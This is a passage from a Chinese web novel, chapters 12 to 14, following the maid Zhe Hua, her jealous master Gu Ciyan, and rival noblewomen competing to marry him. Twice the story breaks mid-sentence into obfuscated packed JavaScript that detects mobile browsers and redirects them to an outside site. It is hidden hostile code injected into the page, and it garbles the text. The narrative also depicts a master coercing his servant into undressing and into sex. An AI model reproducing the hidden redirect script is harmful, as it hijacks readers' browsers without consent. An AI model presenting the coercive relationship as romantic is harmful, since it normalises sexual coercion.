这会儿听见严韵茵的话,折婳以为严韵茵是在说她以色侍人。 像严韵茵这样的身份,折婳知道严韵茵看不起她。当初钟岚欢更是毫不掩饰对她的恶意。 无论是钟岚欢,还是严韵茵,都想要嫁给顾辞宴。折婳能理解钟岚欢和严韵茵对她的不喜。 折婳道:“严小姐在这儿等世子回来,若是无事,奴婢便退下了。” 严韵茵勾起唇角,笑道:“你为何着急离开?听说世子很喜欢你,若是无事,你不妨和我讲讲你们世子的喜好?” 折婳道:“恕奴婢不能告知严小姐,严小姐若是有心,可以直接询问我们世子。” 严韵茵虽然是冲着顾辞宴来的,有心嫁给顾辞宴,但是在顾辞宴没有允许的情况下,她若是将顾辞宴的事情随意泄露给严韵茵,顾辞宴以后怎么会轻饶她? 严韵茵脸上的笑容淡了许多,道:“是我冒昧了。” 顾辞宴虽然宠爱折婳,说到底也是一个丫鬟,到现在连个名分都没有。她若是折婳,现在会想法子讨好未来的女主子。 正好芳杏来了,折婳不再和严韵茵多言,退出了营帐。 芳杏朝严韵茵的方向看了一眼,压低声音道:“我听说严小姐最近经常往瑞王和瑞王妃的营帐跑,瑞王和瑞王妃看起来对严小姐很满意,我们以后的女主子极有可能是这位严小姐。” 之前芳杏也曾对折婳说过,瑞王和严大人有商量过顾辞宴和严韵茵的婚事。 芳杏见折婳不说话,她看着折婳,道:“等世子成婚了,世子是不是就要给你名分了?” 折婳给了从前一样的回答,她道:“世子不曾提起此事。” 顾辞宴不仅没给她名分,还毁了瑞王和瑞王妃给她的恩典,现在她还要在没有月钱的情况下继续伺候他。 芳杏愣了愣,道:“你今日不是去见王爷和王妃?为何你又去了世子的营帐,难道王爷和王妃不是要给你恩典?你的脚伤怎么又严重了,世子让我来扶你回去,我听说是世子抱你回他的营帐,世子是不生你的气了?” 折婳如实道:“我在王爷和王妃的营帐外见到了世子,世子在王爷和王妃的面前拒绝了给我的恩典。” 芳杏道:“这么说,你不能和你家人团聚了。” 顾辞宴马上要被立为储君,瑞王和瑞王妃不可能因为一个丫鬟和顾辞宴过不去。 芳杏道:“折婳,其实你还是有机会见到你家人的。等世子被立为储君,接下来应该会迎娶正妃,瑞王府毕竟养育了世子,皇上肯定会对瑞王府上下施恩,到时候你不就能见到你家人了?说不定我们还能赎身出府。” 普天之下,谁的权利能高过皇帝。 芳杏看着折婳,道:“到时候世子被立为储君,或者大婚,你想求什么恩典?” 13. 第 13 章 顾辞宴耳提面令,她不能偷懒,让她养好脚伤便要回他的身边伺候。大夫给的药膏药效很好,折婳在她的营帐里又休息了一日,之前受伤的脚不怎么疼了。 瑞王府的下人来传话,让折婳去顾辞宴的营帐。 “折婳姑娘在营帐里吗?我们世子找你。”营帐外面响起小厮的声音。 折婳以为是顾辞宴让她过去伺候,她和芳杏说了一声,走出营帐。待折婳走出去,才发现不是瑞王府的小厮,季元恒和一个小厮站在不远处,含笑看着她。 季元恒一身宝蓝色锦袍,芝兰玉树,身姿挺拔,是让无数女子倾慕的好相貌。 折婳抿唇,停住脚步,朝季元恒的方向福了福身,道:“季世子。” 女子一身海棠红色衣裳,眉眼精致,比许多大家闺秀都要生得出色,秀眉微微皱着,似乎有什么心事。 季元恒看了一眼距离他有些远的折婳,道:“是我给折婳姑娘造成困扰了?” 折婳如实道:“奴婢是顾世子的丫鬟,我们世子不喜欢奴婢和季世子接触。” 季元恒心思细腻,折婳不说这话,季元恒也能看出来顾辞宴介怀他和折婳接触。他郑重道:“说起来是因我而起,若是我给你造成麻烦,我给你说一声抱歉。” 季元恒毕竟是霄北王府的世子,折婳不敢接受季元恒的道歉,她温声道:“季世子严重了,奴婢担不起季世子的一声抱歉。” 季元恒想了想,道:“之前我见你时,辞宴在,我没有机会和你单独说话。我之前对你说的话非虚言,折婳姑娘的眼睛和家妹生得很像。不知道折婳姑娘家里还有什么人?” 听见季元恒的话,折婳的眼眸里浮现讶异。折婳低着头,态度恭敬,她道:“奴婢的父母皆在世,还有一个妹妹。我们全家都不曾去过霄北,不敢和常安郡主说一声相似。” 季元恒的眼睛里似乎浮现一抹失望,他道:“是我冒昧了。” 顿了顿,季元恒又道:“辞宴若是因此怪罪你,我会去和辞宴解释。” 折婳低着头,不再言语,这是不欲再和季元恒多言。 季元恒收回视线,带着小厮离开。 走出了一段距离,走在身后的小厮冲季元恒道:“世子还是莫再和这个叫‘折婳’的丫鬟接触了,这个叫‘折婳’的丫鬟是顾世子的人,顾世子的脾气,您又不是不知道?若是因为一个丫鬟影响您和顾世子之间的关系,多不值得。这个叫‘折婳’的丫鬟和常安郡主生得有些许相似,应该只是巧合。常安郡主已经来京城,若是她知道世子因为一个丫鬟与她生得相似就如此关注,常安郡主该吃醋了。” 季元恒回头朝折婳的方向看了一眼,女子虽然生得貌美,又是顾辞宴的贴身丫鬟,气质看起来和寻常丫鬟不太一样。但是她也只是一个瑞王府的丫鬟。 按照折婳刚才说的,以及瑞王府下人说的关于折婳的家庭,他也不觉得折婳能和季筱书有什么关系。 只是他也不知怎么的,忍不住多关注了折婳几分。明明知道他今日来见折婳不妥,他今日还来了这么一趟。 季元恒收回视线,不再去想。 …… 折婳走进营帐时,顾辞宴正在书案前写着什么,小丫鬟看见折婳,主动将手里的茶盏递给了折婳。 等顾辞宴放下笔,折婳将手里的茶盏递给顾辞宴,道:“世子请用茶。” 顾辞宴接过折婳手里的茶盏,喝了一口,道:“是你亲手泡的茶水?” 折婳如实道:“不是,是其她丫鬟泡的茶水。奴婢进来时,她将茶盏给了奴婢,奴婢便将茶盏给接过来了。” 顾辞宴放下茶盏,道:“你这是终于舍得回我的身边伺候了?你的脚伤痊愈了?” 听顾辞宴的话里的意思,仿佛她是故意不回他的身边伺候。折婳道:“等奴婢的脚不疼了,便回世子的身边伺候了。” 顾辞宴站起身,视线落在折婳的脚上,道:“你的脚伤何时痊愈?” 折婳不明白顾辞宴为何要重复问一遍,却还是道:“回世子,奴婢的脚已经不怎么疼了。” “我之前说要带你去林子里逛逛,等你的脚无碍了,我便带你去林子里逛逛。”顾辞宴道。 折婳讶异地看着顾辞宴,她本来以为先前顾辞宴说要再带她去林子里玩是随口之言,没有想到顾辞宴还记着此事。 折婳拿出自己之前的话,道:“奴婢不会骑射……” 顾辞宴若是想要有人陪他去林子,比如严韵茵和钟岚欢,一定乐意之至。 折婳的意见,顾辞宴没有放在心上。他招了招手,小丫鬟拿着一个锦盒走了过来。他冲折婳道:“你来试试这衣裳。” 折婳的目光落在小丫鬟手里的锦盒上,她将锦盒打开,发现里面竟然是一件骑马装。 她虽然随顾辞宴来了围场,但是她是丫鬟,主要任务是伺候顾辞宴,自然不可能有骑马装。 折婳轻声道:“这衣裳哪里来的?” 顾辞宴是男子,他的手里怎么会有女子的衣裳?难道这件衣裳是瑞王妃的? 顾辞宴道:“是严府的小姐送来的,她和你身形相似,你应该能穿。” 折婳心中划过一抹思考。严韵茵送来这骑马装,自然是看在顾辞宴的面子上。顾辞宴不会不知道他收下严韵茵的东西,意味着什么。 难道不仅瑞王和瑞王妃对严韵茵满意,顾辞宴的心里也属意严韵茵嫁给他? 折婳抱着衣裳,道:“奴婢回营帐换衣裳。” 顾辞宴拦住折婳,道:“回你的营帐做什么?难道你想让我等你?你在这儿换。” “世子让奴婢在这儿换衣裳?”折婳的目光在顾辞宴的营帐里环视了一圈。 顾辞宴道:“有何不行?你的身子,我又不是没有见过?” 听见顾辞宴就这样将这种话给说了出来,折婳不是脸皮厚的人,她的脸颊忍不住红了红。 顾辞宴催促她,道:“你快点儿换。” 刚才将衣裳拿过来的小丫鬟早已经退下了,除了她,营帐里还剩下顾辞宴。折婳没能耐让顾辞宴出去。 折婳背对着顾辞宴,将她身上原本的衣裳缓缓脱下,顾辞宴没有避开,就这样毫不避讳地将目光落在折婳的身上。 折婳肌肤胜雪,长发及腰,发尾时不时地擦过折婳的肌肤,给人的心里带来一阵痒。顾辞宴的喉咙滚动,忽然理解有人用最珍贵的美玉来形容女人了。 顾辞宴看着折婳将骑马装穿上,从前折婳随他出府曾经遇见过刺杀,从那以后他不让折婳出瑞王府了。那个时候他是不想再遇见类似的事情,折婳会成为拖累。 现在他却是有些后悔了,他想让折婳只待在瑞王府,不让别人看见。 顾辞宴朝折婳的方向走了一步,顾辞宴本来身子就比折婳高大许多,营帐里的空间毕竟比不上外面,此时他这么看着她,很有压迫感。 折婳身子紧绷,唇瓣动了动,道:“世子?” 顾辞宴将折婳的反应看在眼里,他眼眸里浮现一抹寒意。他道:“你紧张什么?我让你过来,为何迟了这么长时间?” 不等折婳说话,顾辞宴又道:“你又见了季元恒。” 折婳仰头看着顾辞宴。顾辞宴为何会知道季元恒去见了她?季元恒去见她时,除了芳杏和季元恒的下人,当时没有别人在场。 “还说你没有偷懒,脚没有痊愈,就出来见季元恒了。等回京,你和他怕是再难见到。你觉得惋惜,你以后不能见季元恒了……” 顾辞宴抬手,他的手心落在折婳的肩膀上。 顾辞宴注视着折婳,道:“你是不是后悔,我之前没有将你送给季元恒……” 折婳的脚之前受伤了,感觉到顾辞宴手上的力气,她此时有些站立不稳。顾辞宴的手按在折婳的腰上,折婳的身子被迫朝顾辞宴靠近。顾辞宴低下头,他的气息洒在折婳的脸上,道:“我是你的主子,我让你过来,你来围场后,一直在偷懒。季元恒要见你,你倒是能去了。” 顾辞宴说话时,折婳能够感受到二人胸腔的跳动。若是放在从前,顾辞宴是她的主子,折婳应该老老实实对顾辞宴解释,安抚顾辞宴的情绪。此时折婳被顾辞宴抱在怀里,用手抵着顾辞宴的胸膛。她的唇瓣动了动,又闭上了嘴巴。 一来她和季元恒除了那瓶药膏,以及季元恒口里的她和常安郡主生得相似,没有任何其他的来往。 二之前该说的话,她和顾辞宴已经说过了。 顾辞宴和季元恒认识多年,顾辞宴不可能不知道季元恒不可能对她一个丫鬟怀有什么心思。 世间上的人待女子总是要苛待些,男子可以三妻四妾,女子却只能守着一个男子。她甚至不是顾辞宴的妻子,更不是顾辞宴的妾室。在顾辞宴的眼睛里,她和一个男子大庭广众之下说了几句话,都是错误的行为。 折婳感觉脑袋有些昏沉,反应也比往日里迟钝许多。 “季元恒不过是给你送了一瓶药膏,你便一而再再而三地违逆我?”顾辞宴盯着折婳的脸,加重了语气。 他对她说过多次的话,她最近总是不长记性,一而再再而三地犯错。 明明她来围场前,她在面对他时,不是这个样子的。 按理折婳现在真正成了他的房里人,他们曾真正地水乳交融,折婳应该比从前待他更可心,但是事实上折婳的态度却相反。 仅仅因为季元恒的那瓶药膏? 但是他给折婳的东西要比那瓶药膏多得多。 顾辞宴生来尊贵,很早的时候,瑞王便将他的身世告诉他了。除了皇帝,任何人以后都要听从他的话。当初是折婳主动要随他回瑞王府,也是她口口声声会对她忠诚,不会背叛他。他不会允许他身边的人生出反叛之心。 此时顾辞宴看着折婳最近的种种行为,将他的不喜摆在脸上。 “当初是你主动随我回瑞王府,我待你不好吗?”顾辞宴低下身子,他和折婳之间的距离更近了。 虽然顾辞宴难以捉摸,对身边的下人要求极多。相较于其她丫鬟,折婳从顾辞宴处获得的赏赐是最多的。 折婳看着顾辞宴,道:“季世子说得还是常安郡主的事情。世子曾经说过常安郡主是季世子唯一的妹妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15181499|165299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,亦是霄北王府的郡主,不是我一个丫鬟能比的。这些话,我都记得。” 顾辞宴皱眉,道:“你记得就好,你不是常安郡主,也不是季元恒的妹妹,别痴心妄想,季元恒会像对待常安郡主般对待你。季元恒很快就会不记得你的存在。” 见折婳蹙着眉头,似乎有些难受,顾辞宴摸了摸折婳的头发。顾辞宴搂着折婳,道:“我和元恒从前遇见刺客,元恒一人杀了十几个刺客。” 相较于武将,书生更容易获得女子的倾慕。大多数女子以为书生像表面上看上去温润如玉。 季元恒不是书生,他的父亲是手握重兵的霄北王。季元恒这些年在京城低调,也掩盖不了他出身武将家,不像表面上纯良无害的事实。 折婳若是被季元恒表面的温润给骗了,才是天真。 他明明是待她最好的人。 “我是你的主子,你应该忠心伺候的人是我。” 顾辞宴的吻落在折婳的眼睛上。 折婳身上的衣裙再次被脱下,营帐的帘子被风吹动,她的身子忍不住抖了抖。 …… 折婳梦见了她的家人。当初她决定卖身为奴,母亲哭着对她道歉,声音哽咽,“对不起,是母亲无用,我不能让为了救你妹妹牺牲你自己。你不能给别人做下人……” 母亲,父亲和妹妹皆痛苦地看着她。母亲抓着她的手,不愿意松开。 折婳的目光落在父亲,母亲和妹妹的身上,她的心里也不好受,她想要抬手安抚母亲,然而她的手使不出力气。 突然梦里的画面变了,瘦弱的妹妹满脸泪痕地看着她,声音哽咽,道:“是我拖累了阿姊,我见不到阿姊了,是不是我不在了,阿姊就能回父亲和母亲的身边了……” 鲜红的血从妹妹的口里溢出,还有更多的血从她的嘴里冒出来…… 折婳伸出手,道:“不要……” 然而折婳的手碰不到妹妹,耳边响起一声响动,似乎有重物落到地面上。她偏头,看见父亲的额头上都是血,他的眼睛看着她,道:“错了,真正无用的人是我……” 折婳的眼前都是血,浓郁的血将她包围了。 “父亲,母亲,妹妹……” 折婳睁开眼睛,从床榻上坐了起来。 芳杏走过来,摸了摸折婳的脑袋,道:“折婳,你做噩梦了?” 折婳眨了眨眼睛,朝营帐门口看了一眼。 见芳杏的目光还落在她的身上,折婳道:“嗯,我梦见父亲,母亲和妹妹了。” 芳杏诧异道:“你怎么会突然梦见他们?梦里发生了不好的事情?” 折婳回忆梦里的血,她没有隐瞒芳杏,温声道:“梦里的场景是不太好,我梦见父亲,母亲和妹妹出事了。” 芳杏摸了摸折婳的额头,安慰道:“梦里的场景不是真实的,你是太想念你的父亲,母亲和妹妹了,你才会做这样不好的梦。” 折婳坐在床榻上,青丝柔顺地散在她的肩头,大概是刚刚做了噩梦,她脸色略苍白,透着些许柔弱。 顿了顿,芳杏道:“折婳,你是否还记得我之前对你说的,等我们世子被皇上立为储君,皇上会对瑞王府上下施恩……” “我之前问你,你想求什么恩典,你当时没有回答我……” 听见芳杏的话,折婳偏头看向芳杏,道:“你想好到时候要什么恩典了?” 芳杏咬了咬唇,小声道:“折婳,到时候我想去王妃的院子里伺候。” 听见芳杏的话,折婳讶异道:“你不想继续伺候世子了?你若是不想在世子的身边伺候了,我还以为你会想赎身出府。” 之前芳杏对她说过,等顾辞宴被立为储君,那个时候瑞王府的下人有很大可能赎身出府。 芳杏看了一眼营帐门口的方向,小声道:“我的父母也是瑞王府的下人,我若是赎身出府,在外面不一定能比得上瑞王府。而且以我的年纪,我若是赎身出府,在外面又能以什么谋生活?” “我若是继续在世子的身边,世子以后要搬去皇宫,到时候我想赎身,都没有机会了。难道以后要我熬成老姑娘,才能从皇宫出来?” “我想了想,王妃性子温柔和善,也不是会为难下人的人。到时候我想去王妃的院子。” 说完,芳杏想到了什么,道:“折婳,你如此想念你的家人,何不提前向世子求这个恩典?这样你就能见到你的家人了……” 对上芳杏的眼睛,折婳摇了摇头。顾辞宴之前拒绝了瑞王和瑞王妃给她的施恩,她现在去找顾辞宴,顾辞宴不可能同意的。 芳杏愣了愣,道:“你不去找世子,你又如此想念你的家人,你如何才能见到你的家人?” 折婳抿了抿唇,没有和芳杏多言。之前她差点儿连累芳杏和季元恒,她暂时不会将自己的打算告诉给芳杏。 看出折婳不想过多和她提前家人,芳杏换了话题,她道:“折婳,听说我们快回京城了,是皇上的旨意。严小姐怕是无法成为我们世子的正妻了。季世子的妹妹,常安郡主进京了。听说皇上属意常安郡主成为未来的太子妃。” 14. 第 14 章 常安郡主。折婳的脑海里回忆季元恒说她和常安郡主生得相似的话。 芳杏见折婳不说话,她道:“你是身体还难受吗?你还没有从噩梦里缓过神来吗?” 折婳回神,看向芳杏道:“嗯,还有些难受。芳杏,你饿了吗?想不想吃东西……” 听见折婳的话,芳杏关心道:“你是饿了?我有些饿了,我们一起去取膳食。你想吃什么?” 折婳想了想,道:“清淡的膳食都可以。” 听见折婳的话,芳杏道:“你刚刚做了噩梦,身体不舒服,是应该吃些清淡的膳食,我们去厨房取膳食。” 折婳将她的外裳拿过来,下了床榻。等她洗漱完毕,她和芳杏一起前往厨房取膳食。 美食面前,芳杏忘记了刚才她和折婳的对话,她冲折婳笑道:“折婳,今日有好多美味佳肴。” 芳杏和折婳一起将膳食从食盒里给拿了出来,芳杏刚才注意力在折婳的身上,还没什么感觉,此时面对饭菜,顿时感觉饿了。相较于大快朵颐的芳杏,折婳没什么胃口,吃了小半碗米饭,便不再吃了。 顾辞宴最终没能再次带折婳去林子里游玩,皇帝有旨,他们要提前回京了。 折婳站在原地,远远瞧见一妙龄少女从她的对面走来。少女一身月光蓝长裙,杏子黄色绣花披帛缠绕在双臂上,端庄优雅,一举一动不失大家闺秀的风范。 “折婳,好巧,我们又见面了。”严韵茵停在距离折婳三步远处,勾起唇角,笑说道。 “见过严小姐。”折婳规规矩矩朝严韵茵的方向行了一礼,然后她退让到一旁,有意让严韵茵先行。 严韵茵站在原地,却没有立刻离开的意思。她的视线落在折婳的身上,道:“我们能这么快在这儿碰见,也算有缘了。之前我冒然向你打听顾世子的喜好,是我考虑不周。” “不过你是顾世子的贴身丫鬟,想来没有人比你更了解顾世子。若是我以后能有幸嫁给顾世子,我们以后还会有更多的见面机会。” 严韵茵没有掩饰她想要嫁给顾辞宴的野心。一来折婳虽然在顾辞宴的面前得宠,但是还是只是一个丫鬟,折婳得知她的想法,对她造成不了什么影响。 二来现在适龄女子谁不想嫁给顾辞宴?钟岚欢之前不也是想嫁给顾辞宴?顾辞宴马上要被立为储君,等顾辞宴登基,他的正妻就是未来的皇后。 一朝天子一朝臣,现在官员将自己的女儿嫁给顾辞宴,也是在对顾辞宴表忠心。 虽然严韵茵也听说了常安郡主进京的事情,但是常安郡主是否真的会嫁给顾辞宴,还不一定是事实。 瑞王和瑞王妃现在对她很满意,相较于得罪了顾辞宴,瑞王和瑞王妃的钟岚欢,她自认为她目前是最有可能成为顾辞宴正妻的人。 折婳看着严韵茵,此处距离顾辞宴的营帐不远,她是顾辞宴的丫鬟,严韵茵对顾辞宴有意,她和严韵茵在这儿碰见,称不上一句巧合。 严韵茵显然不这么认为,她看着折婳,笑道:“折婳,你现在还是一个丫鬟,若是我日后嫁给顾世子,不也是你的主子?” 折婳垂下眼眸。她知道严韵茵和钟岚欢一样的想法,想要嫁给顾辞宴。比钟岚欢稍微好一些的是,严韵茵没像钟岚欢般将对她的恶意摆在脸上,甚至严韵茵还有意对她散发善意。 芳杏说严韵茵的兄长成婚时,严府施恩,严府的下人都得到了赏银,曾经伺候严韵茵兄长的小厮想要恢复良籍,严韵茵的兄长看在那个小厮伺候他一场的份上,让那小厮恢复自由身了。 顾辞宴本来就是瑞王府世子,他若是被立为储君,或者大婚,按理瑞王府下人能得到的赏赐应该更大。 折婳不怀疑芳杏的话,等顾辞宴被立为储君的圣旨下来,皇帝肯定会对瑞王府的下人施恩。 只是她不仅是顾辞宴的贴身丫鬟。因为钟岚欢,她虽然将清白身子给了顾辞宴,顾辞宴却没有给她名分。 顾辞宴要过她的身子的这件事情,折婳不指望能瞒过其他人。 严韵茵说得没错,她现在是一个丫鬟,还是一个身份有些尴尬的丫鬟。 折婳还记得钟岚欢被送回京城时,严韵茵嘲讽钟岚欢的模样。严韵茵看起来比钟岚欢和善,不代表严韵茵真的比钟岚欢好相处。钟岚欢之前还差点儿娶了她的性命。 严韵茵见折婳不说话,却误会了,她以为折婳是畏惧顾辞宴。严韵茵冲折婳笑了笑,笑说道:“我和你恰巧碰见,闲聊几句,放心,我不会讲我和你的谈话告诉给顾世子。” 折婳回神,轻声道:“奴婢也没有想到会和严小姐在这儿碰见严小姐,奴婢只是一个丫鬟,当不起严小姐口里的一句‘了解世子’。日后严小姐嫁给我们世子,再慢慢了解我们世子的喜好也不迟。” 听见折婳的话,严韵茵唇边露出浅笑。虽然折婳仍然没有告诉她和顾辞宴有关的事情,但是折婳也没像之前般生硬地拒绝她。 毕竟只是一个毫无根基的丫鬟,等日后顾辞宴登基,折婳运气好兴许还能获得一个低等位份,连自己的孩子都不能拥有。运气不好,折婳这辈子只能是一个丫鬟。 折婳若是聪明,应该知道现在和她处好关系,以后她还能帮衬她。 看来折婳还是有几分识趣的。 严韵茵笑道:“既然是这样,我不为难你了。” 严韵茵甩了甩手里的帕子,带着她的丫鬟离开了,行走间带着高门贵女的高傲。 …… “折婳,世子让你过去。” 瑞王府的小厮走到折婳的面前,道。 折婳顺着小厮的视线看过去,不远处的马车上,顾辞宴坐在车厢里,一身靛蓝色衣袍,青丝用玉冠束起,极具威严,凤表龙姿。 折婳和小厮一样,走到马车前,恭敬道:“世子。” 小厮站在马车旁,将马车的帘子掀开。他朝折婳看了一眼,示意折婳上马车。 下人乘坐的马车和主子们的马车不一样,折婳是顾辞宴的丫鬟,本来她应该和芳杏一样乘坐下人的马车回京。现在折婳却被顾辞宴给喊来了。若是顾辞宴让她在马车里伺候,倒是不必乘坐下人的马车回去了。 相较于下人局促的马车,顾辞宴的马车宽敞舒适,车厢内铺有软垫,可供人在马车内休息。 折婳见顾辞宴坐在马车内,视线落在她的身上。折婳躬起身子,动作小心地爬上马车。顾辞宴人高腿长,没怎么费力气,就能上了马车。最近她身上没有太多力气,她的身体发软,整个人朝车厢里倒去。 顾辞宴的手落在折婳的胳膊上,扶了折婳一把。顾辞宴握着折婳的胳膊,将折婳拉到他的身旁,他的目光落在折婳的身上,道:“身体不适?” 折婳将胳膊从顾辞宴的手里收回来,道:“可能是最近没有睡好。” “辞宴。”马车外响起季元恒的声音。 季元恒骑在高头大马,一身月白色衣袍,芝兰玉树,面如冠玉,他笑着和顾辞宴打招呼。 “嗯。”顾辞宴的目光落在季元恒的身上,冲季元恒点头。 折婳坐在顾辞宴的身边,垂着脑袋。和瑞王府每一个忠心的下人一样。 季元恒看着顾辞宴,道:“常安来京城了,我收到了她的信。” 顾辞宴微微勾起唇角,道:“我已经知道此事。等我们回去,就能见到她了。” 季元恒和顾辞宴又说了几句话,远处有人喊季元恒,季元恒才驾马离开。 季元恒和顾辞宴说话时,折婳始终保持着低头的动作,没有打扰主子们的谈话,也没有看季元恒和顾辞宴一眼。 马车里的光线暗了许多,小厮将马车的帘子给放了下来。顾辞宴的目光落在折婳的身上,他道:“马上要回京城了,我以为刚刚你会看季元恒。” 顾辞宴刚刚和季元恒说话,他还在留意一旁她的举动。 折婳低着头,道:“季世子刚刚是在和世子说话,和奴婢无关。奴婢也无意打扰季世子和世子说话。” 顾辞宴抬手摸了摸折婳的脸蛋,手指从折婳的脸上滑过,道:“我怎么觉得你似乎瘦了。” 折婳抬头看向顾辞宴,道:“可能是之前赶路,围场的水土不适合我,没有休息好。” 顾辞宴的手指摩挲着折婳的脸蛋,道:“早知道之前不带你来围场了。” 车夫挥动马鞭,车轱辘滚动,马车行驶起来。折婳没有防备,身子摔倒,整个人朝顾辞宴的胸膛倒去,她的脑袋靠在顾辞宴的胸膛上。 反应过来,折婳的手撑在顾辞宴的胸膛上,便要退开。 “莫动。”顾辞宴的手落在折婳的肩膀上,揽住折婳的身子。 折婳抿了抿唇,柔顺地挨着顾辞宴,像他要求般,仿佛他说什么,她都会乖巧地听从他的话。 顾辞宴垂眸看着折婳,道:“我们要赶回京城,等你回京城了,便能休息了。” 折婳脑海里回忆顾辞宴之前说她偷懒的话,她温声道:“不碍事,奴婢没什么事。” 顾辞宴的视线落在折婳的脸上,女人面容恬静,眉眼精致,柔弱美好。 听见折婳的话,顾辞宴低下头,吻了吻折婳的唇,他道:“还在想着你那些家人?你就那么放不下你那些家人?” 顾辞宴垂眸看着折婳,他虽然拦下了折婳的那封信,但是却没有真正拦着她和她家人见面。 “你家人当初为了钱财将你卖掉,是难缠的。他们若是真的知道你在我的身边,你以后要发愁。到时候你就知道了。” 之前顾辞宴拦下了折婳自作主张给家人的信,今日他还难得多言了几句,说她家人找到她后的坏处,看似为她着想。 顾辞宴出身尊贵,折婳不指望顾辞宴能对她设身处地。此时听见顾辞宴的话,折婳没有发表任何看法,也没有像之前般为自己的家人辩解。 不是她认同顾辞宴的话,而是没有用。 难道还指望高高在上的主子真的会为一个丫鬟设身处地着想? 顾辞宴低下头,又吻了吻折婳的唇角,道:“回京要两个时辰,你若是实在是身体不适,你在马车里休息。等回府后,不必急着来我的身边伺候,养好身体。” 说话时顾辞宴拿了一个毯子出来,盖在了折婳的身上。 他是她的主子,她的恩人。无论她之前有过什么心思,最后还是要如从前般听他的话。 折婳仰头看着顾辞宴,高高在上的主子此时神情温柔地看着她,仿佛之前那个贬低她,要将她送人的人不是他…… 若是寻常丫鬟此时面对顾辞宴,会受宠若惊,恨不得将所有的一切奉献给他。只是折婳经过杨府和顾辞宴之前的种种行为,她已经知道主子的心思难测,此时能宠爱她,下一瞬也能将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15181500|165299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她踩到泥里,冷漠无情。 折婳的脑袋不小心撞到顾辞宴的胸膛,像石头般,她的脑袋泛起一阵疼。 …… 马车在瑞王府停下,折婳踩着凳子下了马车。瑞王和顾辞宴还需要进宫见皇上,马车没有在瑞王府门口停多久,又朝皇宫的方向行驶。 芳杏走到折婳的面前,关心道:“折婳,赶了这么长时间的路,有没有觉得难受?” 芳杏朝顾辞宴的马车离开的方向看了一眼,道:“我本来还想和你一起回来,没有想到你会去世子的马车。” 折婳道:“身体是不太舒服。” 折婳道:“世子让我上他的马车,我没来得及和你说一声。” 芳杏听见折婳的话,道:“我知道,是世子的吩咐。” 芳杏也是下人,自然知道下人无法违抗主子的命令。 折婳和芳杏一边说话,一边往瑞王府走。见周围没有其他人注意她们,芳杏回头看了一眼瑞王府门口,压低声音道:“折婳,我听说我们本来还要在围场多待几日,是常安郡主进京了,皇上才让王爷,王妃和世子提前回来。” 听见芳杏的话,折婳道:“皇上如此看重常安郡主?” 芳杏在瑞王府的时间比折婳长,比折婳更了解京城的情况。听见折婳的话,芳杏小声道:“霄北王只有常安郡主一个女儿,看在霄北王府的面子上,皇上也不可能亏待常安郡主。” “而且,我听说皇上早些年欠霄北王府一个恩情,常安郡主这次京城,似乎就是冲着未来太子妃的位置来的。常安郡主若是想成为未来的太子妃,未来太子妃的人选不会有其他人了……” 折婳一愣,脑海里浮现之前严韵茵在她的面前,一副她很快就要嫁给顾辞宴的模样。 芳杏的话若是属实,严韵茵自然是无法成为顾辞宴的正妃了。不过顾辞宴以后是储君,即使当不了他的正妃,严韵茵怕是也不会放弃嫁给顾辞宴。 回到顾辞宴的院子后,折婳和芳杏便分开了。在瑞王府里,折婳不需要和芳杏睡在一间屋子里。折婳有自己的屋子。 折婳的脚伤已经痊愈,又回到了瑞王府,她自然是要在顾辞宴的身边伺候。不过顾辞宴现在也不怎么需要她伺候。 顾辞宴最近很忙碌,听说皇上将许多朝政交给了顾辞宴,一个月后,皇帝会正式下旨立顾辞宴为储君。顾辞宴最近都歇在皇宫。 除了顾辞宴马上要成为储君的事情,最近最引人关注的便是未来的太子妃人选了。 据说顾辞宴歇在皇宫的这段时间里,常安郡主也歇在皇宫,二人似乎‘情投意合’,‘心心相印’。 淑妃和钟家似乎还没有放弃将钟岚欢嫁给顾辞宴,淑妃经常宣钟岚欢去皇宫小住…… 关于顾辞宴的这些事情,大部分是芳杏告诉折婳的。 还有一部分折婳是从严韵茵的口里得知的。 这日折婳前往厨房取膳食,被严韵茵拦住了去路。 “折婳,顾世子以后要娶常安郡主做正妻,这件事情,你知道吗?”严韵茵站在折婳的面前,道。 相较于严韵茵之前在折婳面前的气定神闲,端庄优雅,此时严韵茵的眉眼间带着几分焦虑。看来常安郡主很有可能成为顾辞宴的正妻这件事情,对严韵茵的影响很大。今日严韵茵见到折婳,甚至抛弃了她从前的委婉,开门见山地说起了她的目的。 折婳后退了一步,道:“严小姐,这是世子的事情,奴婢无法评价。” 严韵茵的目光落在折婳的身上,冷笑道:“折婳,难道你愿意顾世子以后娶常安郡主做正妻?若是我以后成为正妻,我能保证,以后不为难你,和你和睦相处,但是若是常安郡主成为顾世子的正妻,你以后的处境就不一定了……” 见折婳似乎不为所动,严韵茵的视线在周围环顾了一圈,视线落在折婳的身上,她继续道:“你怕是不知道,常安郡主不仅在霄北王府得宠,皇上也宠着常安郡主。常安郡主曾经当街鞭打洛府的小姐,事后皇帝不仅没有怪罪,还让洛小姐给常安郡主赔罪。常安郡主若是日后嫁给了顾世子,她看你不顺眼,直接打死了你,都没有人关注你……” 严韵茵好不容易拉拢了瑞王和瑞王妃,她本来以为太子妃的位置已经是她的囊中之物。常安郡主突然进京,抢了她的太子妃之位,她自然不甘心。这会儿她都没想着在折婳的面前遮掩她的想法。 